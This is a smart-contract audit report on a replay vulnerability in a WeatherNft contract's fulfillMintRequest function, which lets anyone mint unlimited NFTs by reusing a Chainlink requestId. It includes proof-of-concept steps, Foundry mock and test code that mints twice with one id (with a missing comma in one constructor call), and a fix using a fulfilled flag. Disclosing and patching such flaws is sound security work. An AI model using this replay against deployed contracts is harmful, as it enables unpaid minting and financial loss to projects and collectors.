Description
The fulfillMintRequest(bytes32 requestId)
function lets anyone mint unlimited NFTs by reusing the same Chainlink Functions requestId
. After the oracle’s response (or error) is stored, any party aware of that requestId can repeatedly invoke fulfillMintRequest
and mint a new token each time, as here is no mechanism to mark the request as consumed or to clear its stored data.
Vulnerability Details
Affected function:
function fulfillMintRequest(bytes32 requestId) external { … }
Exploit Mechanism
When Chainlink returns a result or an error, it is stored in s_funcReqIdToMintFunctionReqResponse[requestId]
.
fulfillMintRequest
only checks that response
or err
is non-empty:
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
After minting and emitting the NFT event, the contract makes no further changes to that mapping.
Because the mapping remains populated, calling fulfillMintRequest(requestId)
again will pass the same check and mint another token.
Missing Protections
No “already processed” flag. The contract never tracks whether a request has been fulfilled.
No cleanup of stored data. Neither the user’s request nor the oracle’s response is deleted after minting.
Insufficient require-check. The function only asserts that a response or error exists, without ensuring it hasn’t been used before.
Likelihood
High.
The WeatherNFTMintRequestSent
event publicly emits the requestId.
Anyone with basic knowledge of Etherscan or contract storage can retrieve it.
The function is external and lacks any access control, so any actor can exploit it.
Impact
Severe.
An attacker can mint arbitrary NFTs without paying additional fees. This permanently inflates the supply, dilutes token value, and leads to financial loss for both the project and legitimate collectors.
Proof of Concept
-
User A calls WeatherNft::requestMintWeatherNFT(...)
paying the required fee.
-
The Chainlink oracle processes the request and stores the result under requestId = 0xABC….
-
User A calls WeatherNft::fulfillMintRequest(0xABC…)
and receives a newly minted token.
Repeating step 3 mints additional tokens indefinitely.
Proof of Code
For testing purposes, we need to modify the WeatherNft::_sendFunctionsWeatherFetchRequest
function, making it virtual.
- function _sendFunctionsWeatherFetchRequest(...) internal returns (...)
+ function _sendFunctionsWeatherFetchRequest(...) internal virtual returns (...)
Important Note: This is made only for testing purposes and should not be used in production.
Remember to revert the changes after testing.
Use mocks to create a fully self-contained testing environment that avoids any live Chainlink deployments. The MockWeatherNft extends your real NFT contract to override external oracle calls and keeper logic, giving you a fixed request ID and a way to inject simulated oracle responses.
Create a MockContracts test file with the following code, mocking WeatherNft
contract:
pragma solidity 0.8.29;
import {WeatherNft, WeatherNftStore} from "src/WeatherNft.sol";
contract MockWeatherNft is WeatherNft {
bytes32 public constant FIXED_REQ = keccak256("MOCK_REQ");
constructor(
WeatherNftStore.Weather[] memory weathers,
string[] memory uris,
address functionsRouter,
WeatherNftStore.FunctionsConfig memory cfg,
uint256 mintPrice,
uint256 step,
address link,
address keeperRegistry,
address keeperRegistrar,
uint32 upkeepGaslimit
) WeatherNft(
weathers,
uris,
functionsRouter,
cfg,
mintPrice,
step,
link,
keeperRegistry,
keeperRegistrar,
upkeepGaslimit
) {}
function _sendFunctionsWeatherFetchRequest(
string memory,
string memory
) internal pure override returns (bytes32) {
return FIXED_REQ;
}
function simulateOracleResponse(
bytes32 reqId,
bytes memory resp,
bytes memory err
) public {
fulfillRequest(reqId, resp, err);
}
}
Then, create a new test file enviroment with the following code:
pragma solidity 0.8.29;
import {Test, console2} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {WeatherNftStore} from "src/WeatherNftStore.sol";
import {MockWeatherNft} from "test/mocks/MockContracts.t.sol";
contract WeatherNftUnitTest is Test {
MockWeatherNft public weatherNft;
address public user;
address public functionsRouter = address(0x1234);
function setUp() public {
WeatherNftStore.Weather[] memory weathers = new WeatherNftStore.Weather[](1);
weathers[0] = WeatherNftStore.Weather.SUNNY;
string[] memory uris = new string[](1);
uris[0] = "ipfs://dummy";
WeatherNftStore.FunctionsConfig memory cfg = WeatherNftStore.FunctionsConfig({
source: "",
encryptedSecretsURL: "",
subId: 0,
gasLimit: 200_000,
donId: bytes32(0)
});
weatherNft = new MockWeatherNft(
weathers,
uris,
functionsRouter,
cfg,
1 ether,
0.1 ether,
address(0)
address(0),
address(0),
200_000
);
user = makeAddr("user");
vm.deal(user, 10 ether);
}
function test_MutipleMintsWithTheSameReqId() public {
uint256 actualPrice = weatherNft.s_currentMintPrice();
vm.startPrank(user);
bytes32 reqId = weatherNft.requestMintWeatherNFT{ value: actualPrice }(
"28001", "ES", false, 0, 0
);
weatherNft.simulateOracleResponse(
reqId,
abi.encode(uint8(WeatherNftStore.Weather.SUNNY)),
""
);
vm.stopPrank();
vm.prank(user);
weatherNft.fulfillMintRequest(reqId);
vm.prank(user);
weatherNft.fulfillMintRequest(reqId);
console2.log("User nft balance", weatherNft.balanceOf(user));
}
Note that user
has minted 2 NFT with the same reqId
.
Recommended Mitigations
Introduce a “consumed” flag to prevent replay, and clear stored request data upon fulfillment.
Add this mapping to WeatherNftStore
contract:
uint256 public s_tokenCounter;
mapping(Weather => string) public s_weatherToTokenURI;
FunctionsConfig public s_functionsConfig;
mapping(bytes32 => UserMintRequest) public s_funcReqIdToUserMintReq;
mapping(bytes32 => MintFunctionReqResponse) public s_funcReqIdToMintFunctionReqResponse;
mapping(bytes32 => uint256) public s_funcReqIdToTokenIdUpdate;
uint256 public s_currentMintPrice;
uint256 public s_stepIncreasePerMint;
mapping(uint256 => Weather) public s_tokenIdToWeather;
mapping(uint256 => WeatherNftInfo) public s_weatherNftInfo;
address public s_link;
address public s_keeperRegistry;
address public s_keeperRegistrar;
uint32 public s_upkeepGaslimit;
+ mapping(bytes32 => bool) public s_requestFulfilled;
Then, add this code to WeatherNft::fulfillMintRequest
function:
function fulfillMintRequest(bytes32 requestId) external {
+ require(!s_requestFulfilled[requestId], "Request already fulfilled");
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
if (response.length == 0 || err.length > 0) {
+ s_requestFulfilled[requestId] = true;
+ delete s_funcReqIdToUserMintReq[requestId];
+ delete s_funcReqIdToMintFunctionReqResponse[requestId];
return;
}
//s_currentMintPrice += s_stepIncreasePerMint;
UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[
requestId
];
uint8 weather = abi.decode(response, (uint8));
uint256 tokenId = s_tokenCounter;
s_tokenCounter++;
+ s_requestFulfilled[requestId] = true;
+ delete s_funcReqIdToUserMintReq[requestId];
+ delete s_funcReqIdToMintFunctionReqResponse[requestId];
-
Guard against replays: Check and set s_requestFulfilled[requestId] before proceeding.
-
State cleanup: Remove user request and oracle response mappings immediately after use.
By enforcing a one-time fulfillment per request ID, this approach prevents any further replay attacks.